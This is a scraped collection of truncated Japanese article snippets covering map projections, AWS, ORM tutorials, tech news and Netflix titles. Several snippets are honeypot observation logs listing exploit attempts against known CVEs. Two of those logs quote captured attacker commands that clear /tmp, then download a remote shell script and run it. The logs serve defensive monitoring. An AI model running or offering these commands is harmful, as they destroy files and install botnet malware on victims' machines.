パース・クインカンシャル図法 - Wikipedia
パース・クインカンシャル図法 パース・クインカンシャル図法（パース・クインカンシャルずほう、英語: Peirce quincuncial projection）とは、地図投影法の一種で、球面を正方形に投影する、有限個の点を除き正角な図法である。1879年、アメリカ沿岸測地局（現在のアメリカ海洋大気庁国立測地測量局と沿岸測量部の前身）に在籍していたチャールズ・サンダース・パースが、en:Schwarz–Christoffel mappingを元にして考案した。 投影式[編集] まず、北半球が複素平面上の単位円内となる平射図法により、球面から複素平面へ投影する。その上で、この複素平面上の が に写像されるとき、ヤコビの楕円関数で表すと、 の関係が成り立つ。つまり なる写像である。 特徴[編集] パース・クインカンシャル図法におけるテイソーの指示楕円 この図法は特異点以外のすべてで正角になる。特
ハニーポット(仮) 観測記録 2023/07/27分です。 特徴 共通 D-link製品の脆弱性を狙うアクセス GPONルータの脆弱性を狙うアクセス CensysInspectによるスキャン行為 /.envへのスキャン行為 Location:JP NetGear製品の脆弱性を狙うアクセス .jsへのスキャン行為 /.gitへのスキャン行為 を確認しました。 Location:US Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス ThinkPHPの脆弱性を狙うアクセス .j
[Red Hat Enterprise Linux] EBSボリュームのデバイス名とOSが認識しているブロックデバイス名をマッピングさせてマウントしてみた | DevelopersIO
[Red Hat Enterprise Linux] EBSボリュームのデバイス名とOSが認識しているブロックデバイス名をマッピングさせてマウントしてみた EBSボリュームがOSが認識しているどのブロックデバイスと対応しているのか分からない こんにちは、のんピ(@non____97)です。 皆さんはEBSボリュームがOSが認識しているどのブロックデバイスと対応しているのか分からないなと思ったことはありますか? 私はあります。 EBSボリュームのデバイス名とOSが認識しているブロックデバイス名は異なる場合があります。 例えば、Amazon Linux 2023のt3.microのEC2インスタンスに各デバイス名が/dev/xvda、/dev/sdb、/dev/sdcのEBSボリュームをマウントします。 OSから見ると、ブロックデバイス名はxvda、xvdb、xvdcとなっています。 $ ls
![[Red Hat Enterprise Linux] EBSボリュームのデバイス名とOSが認識しているブロックデバイス名をマッピングさせてマウントしてみた | DevelopersIO](https://cdn-ak-scissors.b.st-hatena.com/image/square/12d20210b900556b61bbdcdf6b6a8d710dc6869d/height=288;version=1;width=512/https%3A%2F%2Fdevio2023-media.developers.io%2Fwp-content%2Fuploads%2F2023%2F09%2Famazon-ec2.png)
CentOS Stream release 8でDKIM認証に対応してみた | 凡才エンジニアが綴るナレッジ
はじめに 2023年10月にGoogleが新たなメール送信者ガイドラインを発表しました。 2024年2月以降、SPF/DKIMによるメール認証をしていないメールは、Gmailへメールが届かなくなる可能性があり、Gmailアカウントへ1日5000件以上メールを送信する企業は、SPF/DKIMに加えてDMARCの3つへ対応する必要があります。 対応しない場合、こちらも同様にメールが届かなくなる可能性があります。 本、ブログでは、CentOS Stream release 8サーバにインストールしているPostfixをOpenDKIMを使用してDKIM認証に対応させ、DNS TXTレコードでDMARCに対応します。 SPF認証はすでに対応しておりますので設定しているレコードを後ほど記載します。 SPF、DKIM、DMARCなどの用語については、以下サイトに記載がございますので、気になる方はご参照
'); doc.close(); } if (!doc) throw Error('base not supported'); var baseTag = doc.createElement('base'); baseTag.href = base; doc.getElementsByTagName('head')[0].appendChild(baseTag); var anchor = doc.createElement('a'); anchor.href = url; return anchor.href; } finally { if (iframe) iframe.parentNode.removeChild(iframe); } }()); } // An inner object implementing URLUtils (either a native URL // ob
django ormとは何か？ 〜ormの基本概念の説明〜 orm（object-relational mapping）とは、データベースとオブジェクト指向プログラミング言語の間に存在するミドルウェアのことです。django ormは、pythonのオープンソースウェブアプリケーションフレームワークであるdjangoに組み込まれているormです。 ormの基本概念 ormは、データベースとオブジェクトの間でデータのマッピングを行います。つまり、データベースのテーブルとオブジェクトのインスタンスを相互に変換することができます。 例えば、以下のようなテーブルがあるとします。 create table users ( id serial primary key, name varchar(255), age integer );
こんにちは。次世代システム研究室のT.M です。 はじめに 前回、Ethereum – Polygon ブリッジを利用して、ETH を移転させました。今回は、ERC20 トークンを移転させる方法について説明をします。 Ethereumトークン発行 デプロイ メインとなるERC20トークンをEthereum にデプロイします。openzeppelin を利用してコントラクトを実装します。TCOIN を発行し、100トークンをmint します。 pragma solidity >=0.4.22 <0.9.0; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; contract TCOIN is ERC20 { constructor() ERC20("TestCoin", "TCOIN") { _mint(msg.sender, 1
API PlatformのOpenAPI生成で、nullableなエンティティプロパティの型をanyOfではなくoneOfで出力する
背景 バックエンドを API Platform で実装 フロントエンドでは、API Platformによって自動生成されたOpenAPIを openapi2aspida に読ませてAPIの型定義を自動生成して利用 という構成で開発をしていたところ、openapi2aspidaが生成する型定義に一部期待と異なるところがあり非常に不便な思いをしました。 端的に言うと エンティティ型のnullableなプロパティがあると、API Platformが生成するOpenAPIにおいてそのプロパティの型は anyOf: [ { $ref: エンティティの型 } ] になる それをopenapi2aspidaに読ませると、Partial<エンティティの型> | null | undefined という型が生成される Partial 型になっているせいで、requiredであるはずのプロパティも含めてすべて
ハニーポット(仮) 観測記録 2024/01/15分です。 特徴 共通 Adobe ColdFusionの脆弱性(CVE-2023-29298)を狙うアクセス Spring Bootの脆弱性を狙うアクセス zgrabによるスキャン行為 /.envへのスキャン行為 Apache Tomcatへのスキャン行為 Location:JP GPONルータの脆弱性を狙うアクセス Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス ownCloud Graph APIの脆弱性(CVE-2023-49103)を狙うアクセス CensysInspectによるスキャン行為 curlによるスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 configファイルへのスキャン行為 phpMyAdminへのスキャン
ハニーポット(仮) 観測記録 2023/12/27分です。 特徴 共通 zgrabによるスキャン行為 /.envへのスキャン行為 Location:JP Joomla!の脆弱性(CVE-2023-23752)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス CensysInspectによるスキャン行為 /.awsへのスキャン行為 /.gitへのスキャン行為 configファイルへのスキャン行為 を確認しました。 Location:US GPONルータの脆弱性を狙うアクセス JBossの脆弱性を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス Spring Cloud Gatewayの脆弱性(CVE-2022-2
HuggingFace Evaluate を試す｜npaka
HuggingFace Evaluate を試したのでまとめました。 1. HuggingFace Evaluate「Evaluate」は、機械学習モデルとデータセットを評価するためのライブラリです。1行のコードで、さまざまなドメイン (NLP、Computer Vision、強化学習など) の数十の評価指標を利用できます。 評価モジュールは、次の3つのカテゴリに分類されます。 ・Metric : モデルの性能評価のために使用。通常、モデルの予測といくつかのground truthラベルが含まれる。 ・Comparison : 2つのモデルを比較するために使用。予測をground truthラベルと比較し、一致を計算することで実行できる。 ・Measurement : データセットのプロパティを調査するために使用。 2. インストールGoogle Colabでのパッケージのインストール方法
ORMの概念理解 - Qiita
目次 ORMとは NO ORM vs ORM ORMの利点と欠点 ORMとは? オブジェクト関係マッピング(ORM、Object-Relational Mapping)は、オブジェクト指向プログラミングと関係データベースの互換性を向上させるために設計されたプログラミング技術です。ORMの基本的な構造は、プログラミング言語のクラスとデータベースのテーブルをマッピングすることから始めます。これにより、エンジニアは直接SQLクエリの作成することなく、ORMを通じてデータベースと相互作用できます。 NO ORM vs ORM 実際、どういう意味なのかは具体的な例を見れば分かりやすいと思います。 まず、簡単な2つの例を見ながら違いを感じてみてください。 ORMを使わない例 - 直接データベース操作 users = Array.new sql = "SELECT * FROM users" rows
ハニーポット(仮) 観測記録 2023/12/10分です。 特徴 共通 CensysInspectによるスキャン行為 /.envへのスキャン行為 /.gitへのスキャン行為 Location:JP GPONルータの脆弱性を狙うアクセス .jsへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget http://pvp-rivals.com/jaws.sh; chmod 777 *; sh /tmp/jaws.sh Location:US Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス GPONルータの脆弱性を狙うアクセス Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うア
はじめに go で競プロを始める前の肩慣らしとして基本的なデータ構造、アルゴリズムを復習します。 今回は go でシンプルな map/reduce/filter を実装します。 github.com go で map(写像) 配列の各要素に対して処理をしたのち配列を返す関数です。 package main import ( "fmt" ) func square(x int) int { return x * x } func Mapping(f func(int) int, array []int) []int { buff := make([]int, len(array)) for i, v := range array { buff[i] = f(v) } return buff } func main() { a := []int{1, 2, 3} got := Mapping(
はじめに 「情報の分類」とは？ 具体的な実施例 リスクとの関連性 分類基準の例 個別方針への記載内容例 その他 分類の名称 情報の分類の一貫性 まとめ 参考資料 脚注 はじめに 情報セキュリティのための管理策の中で組織的対策として分類されている「情報の分類」について、主要なガイドラインを参考に自分なりに解釈した内容をなるべく具体的に残しておきます。 「情報の分類」とは？ 先ずは管理策の本質を理解するために、ISMSに基づく管理策の指針として活用されることの多い ISO/IEC 27002:2022 にどのように記載されているかを確認してみます。 ISO/IEC 27002:2022 5.12 Classification of information から引用 Purpose： To ensure identification and understanding of protection
【AWS Glue】custom classifierを利用してログファイルからデータを抽出/変換する！【AWS CLI】 - qtatsuの週報
前書き 環境 前提知識 Classifier 前準備(データの投入) 実際の手順 Databaseの作成 Classifierの作成 crawlerの作成 crawlerの情報確認 クローラの実行 ジョブの作成 & 実行 ジョブスクリプトの作成 ジョブの作成と確認 ジョブの実行 前書き この記事は、JSL(日本システム技研) Advent Calendar 2020 - Qiita 12/17の記事です！ AWS GlueのクローラをClassifier(分類子)のgrokパターン定義とともに使ってApacheログを解析する手順を、AWS CLIを用いた実例とともに説明します。 AWS Glueを使えば、ログを直接確認するだけではなく、データの抽出や変換、統計量などをETLスクリプトとして記述することができます。 環境 AWS CLIの実行環境はCloud9です。 前提知識 実際の手順に入
Pythonでリストを多用しがちな新人に贈りたい、array/tuple/set/queueの魅力と使い分けフローチャート - Qiita
Pythonでリストを多用しがちな新人に贈りたい、array/tuple/set/queueの魅力と使い分けフローチャートPythonarray初心者tupleset はじめに みずほリサーチ＆テクノロジーズの @fujine です。 Pythonのリストってとても便利ですよね。可変長で任意のオブジェクトを保存できるため、シーケンシャルなデータなら何でもリストで実装したくなる気持ち、分かります。 でもちょっと待ってください！リスト以外にも便利なコレクション型があること、ご存知でしょうか？コレクション型を適切に使い分けることで、 プログラムの意図を（ドキュメントに頼らなくても）読み手に的確に伝えられる パフォーマンスが向上する などの効果が期待できます。 そこで本記事では、Pythonの組み込み型や標準ライブラリを対象に、リストと似たコレクション型をどのように使い分けるか？の案をフローチャー
「発生」という名の超常現象生物の発生という現象は、極めて神秘的であり、これほど面白い物理現象は他には存在しないとさえ思っている（少し盛った）。 少々歴史的な話をするならば、発生生物学の世界において、「前成説」と「後成説」という２つの対立した仮説が存在していた時期がある。前者は、「各器官は生殖細胞の中に小さな形であらかじめ収まっていて（いわゆるホムンクルスと呼ばれる）、発生の過程でそれらが拡大することによって成体が形成される」とする考えである。一方で後者は、「各器官が各世代で一から新たにつくられる」とする考えである。今となっては、「前成説」が誤りであり「後成説」が正しいということは、中学生や高校生でも知っているほどの常識となっている（はずだ）が、その当時においては前成説がある程度支持されていたのも不思議ではないと思う。我々の体は、実は元々0.1mm程度の、脂質膜で包まれたタンパク質の塊であっ
殺意の道程 | Netflix
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Serilog シンクを使用して Azure Data Explorerにデータを取り込む - Azure Data Explorer
重要 このコネクタは、Microsoft Fabric の リアルタイム分析 で使用できます。 次の例外を含め、この記事の手順を使用します。 必要に応じて、「KQL データベースを作成する」の手順 に従ってデータベースを作成します。 必要に応じて、「空のテーブルを作成する」の手順に従って テーブルを作成します。 「コピー URI」の手順を使用して、クエリまたはインジェスト URI を取得します。 KQL クエリセットでクエリを実行します。 Serilog は、.NET アプリケーションで一般的なログ記録フレームワークです。 Serilog を使用すると、開発者はロガーの名前、ロガー レベル、メッセージ パターンに基づいて、任意の粒度で出力されるログ ステートメントを制御できます。 Azure Data Explorer の Serilog シンク (アペンダーとも呼ばれます) は、ログ デ
はじめに 実務でFastAPIを使用しており、データベース操作にSQLAlchemyを使用しています。 知識の整理をする意味でも、初期の設定とDB操作についてまとめようと思いました。 SQLAlchemyについてよくわからないという初学者の方に対して参考になれば幸いです SQLAlchemyとは SQLAlchemyとは、Python向けのSQLツールキットで、ORM（Object-Relational Mapper）ライブラリの一つです。SQLAlchemyを使用するとPythonのプログラムからデータベースとのやりとりを容易に行うことができます。 以下、SQLAlchemyの公式ドキュメントです。 ORM(Object-Relational Mapping)とは ORMはオブジェクト指向プログラミング言語（今回の場合はPython）とリレーショナルデータベース（MySQLなど）との間の
CoNLL 2018 Shared TaskのEvaluationページを横目に、タイ語モデルにおけるトークナイザの「精度」を測るプログラムを書いてみた。Google Colaboratoryだと、こんな感じ。 !pip install transformers sentencepiece spacy-alignments models=["KoichiYasuoka/roberta-base-thai-syllable","scb10x/typhoon-7b","openthaigpt/openthaigpt-1.0.0-7b-chat"] ud="UD_Thai-PUD" !test -d $ud || git clone --depth=1 https://github.com/universaldependencies/$ud !cp $ud/*-test.conllu test.
[Amazon FSx for NetApp ONTAP] ONTAP S3 の マルチプロトコルアクセスを試してみた | DevelopersIO
Storage GatewayみたいにSMBやNFSでS3上のデータを操作したい こんにちは、のんピ(@non____97)です。 皆さんはStorage GatewayみたいにSMBやNFSでS3上のデータを操作したいしたいなと思ったことはありますか? 私はあります。 その願いはONTAP S3のマルチプロトコルアクセス(Data Duality)で少しだけ叶えることができます。 こちらはONTAP 9.12.1から追加された機能で、Amazon FSx for NetApp ONTAP(以降FSxN)上でS3に対応したマルチプロトコルでアクセス可能なボリュームを作成が可能となります。 ざっくりとした概要は以下記事でも紹介しているので、ご覧ください。 この記事ではONTAP S3とONTAP S3のData Dualityについて、もう少し深掘りします。 いきなりまとめ ONTAP S3
![[Amazon FSx for NetApp ONTAP] ONTAP S3 の マルチプロトコルアクセスを試してみた | DevelopersIO](https://cdn-ak-scissors.b.st-hatena.com/image/square/1e9da8d5a96816e2a4b7d48d119b63476158512b/height=288;version=1;width=512/https%3A%2F%2Fdevio2023-media.developers.io%2Fwp-content%2Fuploads%2F2023%2F08%2Famazon-fsx-for-netapp-ontap.png)
※ SLAM（Simultaneous Localization and Mapping）：自己位置推定と環境地図作成を同時に行う技術 概要 Terra Lidar LA（仮称）は、ドローンに取り付けることで上空から3次元点群を取得する従来のUAVレーザ測量に加えて、地上での3次元測量も可能にする。これまでのUAVレーザでは、カバーできなかった地上の測量箇所をSLAM技術で補填することで、1つのデバイスによるワンストップの測量を実現するという。同製品は、現場での簡易点群の確認だけでなく、クラウド解析サービスを通じた精密な点群生成も従来の製品と同様に可能だという。 「Terra Lidar LA(仮称)」により生成された街中の点群 開発背景 テラドローンでは、これまで40都道府県に3次元測量用UAVレーザの「Terra Lidar」シリーズを提供してきた。活用するユーザーから、「3次元測量用
概要 データベース（DB）に関する勉強をしていると、「テーブル」や「カラム」などの基本的な言葉以外に、以下のような言葉を聞く機会が出てくると思います。 「ORM」「O/Rマッパー（オーアールマッパー）」「スキーマ」「マイグレーション」 もしくは、Ruby on Rails などのアプリケーションフレームワークを利用すると、DB 周りの処理で同様の単語が出てくるでしょう。 色んな記事で説明されていますが、イマイチわかりやすいものが少ないと感じたため、これらが何を意味するのかを、初心者向けに超ざっくりとまとめます。 スキーマとは 「スキーマ」とは、一般的に 「構造」 を意味する単語で、これはプログラミングの専門用語ではない。 一言に「スキーマ」と言っても、具体的に "何に" 対する構造を指しているかで意味が変わる。今回は 「DB のスキーマ」 について説明する。 DB における「スキーマ」とは
ロボット掃除機ルンバが国内600万台を突破。4万円以下の水拭き対応モデル Roomba Combo Essentialを発売したアイロボットの戦略を探る | テクノエッジ TechnoEdge
アイロボットジャパンは2024年4月17日、吸引掃除と水拭き掃除を行える「Roomba Combo（ルンバコンボ）」シリーズのエントリーモデル「Roomba Combo Essential robot」（直販価格3万9300円）を発表しました。 アイロボットジャパンが2024年4月17日に発表した、吸引掃除と水拭き掃除を行える2in1タイプのロボット掃除機「Roomba Combo Essential robot」（直販価格3万9300円）とアイロボットジャパン代表執行役員社長Roomba Combo Essential robotは独自のフロアトラッキングセンサーによる「スマートナビゲーション」機能を搭載するモデル。 ダストケースの水タンクに水を入れ、ダストケースに「パッドプレート」と「モップパッド」を取り付けることで吸引掃除と水拭き掃除が同時にできる製品です。 Roomba Combo
インテリジェントドキュメントプロセッシング（IDP）とは？マーケットリサーチフューチャーによる業界統計 – iCrowdNewswire Japanese
免責事項：以下に表示されているテキストは、サードパーティの翻訳ツールを使用して別の言語から自動翻訳されています。 インテリジェント文書処理の進化：市場概要と重要な洞察 今日のデジタル時代において、効率的な文書処理ソリューションの需要は新たな高みに達している。インテリジェント・ドキュメント・プロセッシング(IDP)は、組織の文書処理方法に革命をもたらす、ゲームチェンジャーとして登場した。当レポートでは、インテリジェント文書処理市場について、市場概要、主要市場セグメント、業界最新ニュース、主要企業、市場促進要因、地域別の考察など、詳細に調査・分析しています。インテリジェント文書処理市場産業は、2022年の14億6,560万米ドルから2030年には147億8,970万米ドルに成長し、予測期間中（2022年～2030年）に33.5％の複合年間成長率（CAGR）を示すと予測される。 この戦略レポート
ニュースサービスアクティオ、屋内自律飛行システム「BIM×Drone」の新機体による技術検証サービスを開始 アクティオは、竹中工務店、センシンロボティクスとともに、BIM（※1）を用いたドローンの屋内自律飛行システム（※2）の実証試験を実施してきたが、2023年10月24日より新機体を使用した有償の技術検証サービスの提供を開始することを同日発表した。 ※1 コンピューター上に作成した3Dモデルに複数の図面を生成し、設計から施工、維持管理までのあらゆる情報を一元化して活用する手法。 ※2 実証試験を実施したシステムは、センシンロボティクスのSENSYN CORE。 2022年2月にリリースした屋内自律飛行システム「BIM×Drone」は、対応機体がACSL社製の1機種のみであり、多くのユーザーにサービスを提供するため、小型で柔軟な飛行が可能な機体の開発が求められていた。また、各ドローンメーカ
圧巻！「国宝 松本城天守 プロジェクションマッピング 2023-2024」公式記録映像を公開 松本城に幻想的なスペクタクル映像 - ロボスタ ロボスタ - ロボット情報WEBマガジン
2023年12月16日〜2024年2月18日にかけて、長野県松本市の松本城公園で開催中の「国宝 松本城天守 プロジェクションマッピング 2023-2024。第2期の公式記録動画がYouTubeで公開され、圧巻のスペクタクル映像となっている。 国宝 松本城に幻想的なプロジェクトマッピング映像を投影 「国宝 松本城天守 プロジェクションマッピング 2023-2024」は一旗・エプソン販売・セイコーエプソンが共同でプロデュース・制作するイベント。 現存国宝5天守の一つで五重六階の天守の中で最古の国宝 松本城の天守や石垣などに、豪壮な天守を築いた城主・石川数正が描かれた屏風絵が躍動するデジタルアニメーションや雪の結晶や氷などをモチーフとしたデジタルアート、北アルプスに美しく咲き誇る百花繚乱の花々など、ダイナミックで幻想的なプロジェクションマッピング映像を投影している。 会期は2023年12月16日
知名度はないが最も高性能だった1bit MCU、Motorola MC14500（人知れず消えていったマイナーCPUを語ろう 第14回）（テクノエッジ） - Yahoo!ニュース
Handbookに掲載されているOENの利用例がこちら（Photo04）。 要するにAとBという2つの値の論理積を取って、1ならパルスを2回、2ならパルスを1回出力するというものだが、論理積を計算して、その結果をOENに渡す。 もし論理積が1なら続く2回のSTO/STOCでパルスが2回でるが、0なら何も起きない。ついでRRの値を反転させてOENに渡す。すると続く1回のSTO/STOCは論理積の結果が1なら何も起きないが、0なら1回パルスが出ることになるという訳だ。 ちなみにJMP/ReturnとかNOPO/NOPFは、そこで何をするかは外部回路任せになっている。自由度が高いというか、単体では何もしてくれない仕組みである。 そんなMC14500Bであるが、先に示したMorley氏によるPLCの設計方針を非常に忠実に実装した構造である事が判る。 割り込み処理の機能はそもそも無いし、Memory
Microsoft Power Fx is the low code language for expressing logic across the Microsoft Power Platform. It is the same language that is at the heart of Microsoft Power Apps canvas apps today and is inspired by Microsoft Excel. It enables the full spectrum of development from “no code” to “pro code” with no cliffs in between, enabling diverse teams to collaborate and save time and expense. We are
はじめに 調べても分からなかったので自分なりにやってみる黒魔術シリーズです。もっといい方法があれば教えてください。 この記事は、「R言語 Advent Calendar 2023」の23日目の記事です。 この記事では、Q-Qプロットを作成します。 【他の内容】 www.anarchive-beta.com 【目次】 はじめに Q-Qプロットを作図したい トイデータの作成 パッケージを使って作図 スクラッチで作図 サンプル値と理論値の変換 操作の確認 対応の確認 デフォルトと自作の対応 データ点の調整 理論値線の調整 参考文献 おわりに Q-Qプロットを作図したい サンプルと確率分布を比較する方法にQ-Qプロット(Q-Q plot・quantile-quantile plot)がある。正規分布の場合は正規Q-Qプロット(Normal Q-Q plot)とも呼ばれる。 R言語ではベースプロット
文書の一覧 JTC1/SC22/WG21 - Papers 2022 mailing2023-10 全部で80本あります。 もくじ N4961 2024-03 Tokyo meeting information N4962 WG21 agenda: 6-11 November 2023, Kona, HI N4963 2023 WG21 admin telecon meetings, rev. 2 N4964 Working Draft, Programming Languages -- C++ N4965 Editors' Report, Programming Languages -- C++ P0447R23 Introduction of std::hive to the standard library P0876R14 fiber_context - fibers withou
ハニーポット(仮) 観測記録 2023/12/24分です。 特徴 共通 CensysInspectによるスキャン行為 /.envへのスキャン行為 Location:JP Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス Telerik UIの脆弱性(CVE-2019-18935)を狙うアクセス infrawatchによるスキャン行為 zgrabによるスキャン行為 .jsへのスキャン行為 /.gitへのスキャン行為 WordPressへのスキャン行為 を確認しました。 Location:US Spring Cloud Gatewayの脆弱性(CVE-2022-22947)を狙うアクセス を確認しました。 Location:UK D-link製品の脆弱性を狙うアクセス zgrabによるスキャン行為 /.gitへのスキャン行為 configファイルへのス
2023年12月19日 ソフトバンク株式会社 慶應義塾大学SFC研究所 O株式会社 ソフトバンク株式会社（本社：東京都港区、代表取締役 社長執行役員 兼 CEO：宮川潤一、以下「ソフトバンク」）、慶應義塾大学SFC研究所（所在地：神奈川県藤沢市、所長：飯盛義徳、以下「SFC研究所」）およびO株式会社（本社：東京都港区、代表：a春）は、SFC研究所が運営する「デジタルツインキャンパスコンソーシアム」の活動の一環で、慶應義塾大学 湘南藤沢キャンパス（所在地：神奈川県藤沢市、以下「SFC」）のバーチャルキャンパスを構築し、O株式会社のメタバース（バーチャル空間）プラットフォーム「MEs（ミーズ）」で公開しましたのでお知らせします※1。 ソフトバンク、SFC研究所およびO株式会社は、ソフトバンクが提供する地図データなどを活用して「MEs（ミーズ）」上にバーチャルキャンパスを構築し、その中で講義など
こちらあみ子 | Netflix
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[Android] Google Play Console の「難読化解除ファイル」と「デバッグ シンボル」の警告を消す方法 - Qiita
⚠️ 警告 この APK に関連付けられている難読化解除ファイルはありません。難読化コード（R8 / ProGuard）を使用している場合、難読化解除ファイルをアップロードすると、 クラッシュと ANR をより簡単に分析、デバッグできるようになります。R8 / ProGuard の使用は、アプリサイズの縮小につながります。 ⚠️ 警告 この APK にはネイティブ コードが含まれ、デバッグ シンボルがアップロードされていません。 クラッシュや ANR を簡単に分析、デバッグできるよう、シンボル ファイルをアップロードすることをおすすめします。 この警告が出るたびに「どうやるんだっけ？」ってなるので書いておく。 詳しいことは アプリの圧縮、難読化、最適化 | Android デベロッパー | Android Developers - コードの難読化 アプリの圧縮、難読化、最適化 |
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ハニーポット(仮) 観測記録 2023/07/15分です。 特徴 共通 PHPUnitの脆弱性(CVE-2017-9841)を狙うアクセス CensysInspectによるスキャン行為 /.envへのスキャン行為 /.gitへのスキャン行為 phpMyAdminへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス zgrabによるスキャン行為 .jsへのスキャン行為 UserAgentがHello, worldであるアクセス を確認しました。 /shellに対する以下のアクセスを確認しました。 cd /tmp; rm -rf *; wget 94.158.247.123/jaws; sh /tmp/jaws Location:US Apache HTTP Serverの脆弱性(CVE-2021-41773)を狙うアクセス GPONルータの脆弱性を狙うアクセス L
ハニーポット(仮) 観測記録 2023/10/06分です。 特徴 共通 GPONルータの脆弱性を狙うアクセス /.envへのスキャン行為 Location:JP D-link製品の脆弱性を狙うアクセス Liferay Portal JSON Web Serviceの脆弱性(CVE-2020-7961)を狙うアクセス CensysInspectによるスキャン行為 .jsへのスキャン行為 /.awsへのスキャン行為 /.dockerへのスキャン行為 /.gitへのスキャン行為 Laravelへのスキャン行為 WordPress Pluginへのスキャン行為 configファイルへのスキャン行為 phpMyAdminへのスキャン行為 Gh0stRATのような動き を確認しました。 Location:US Atlassian Jira Server/Data Centerの脆弱性(CVE-2021
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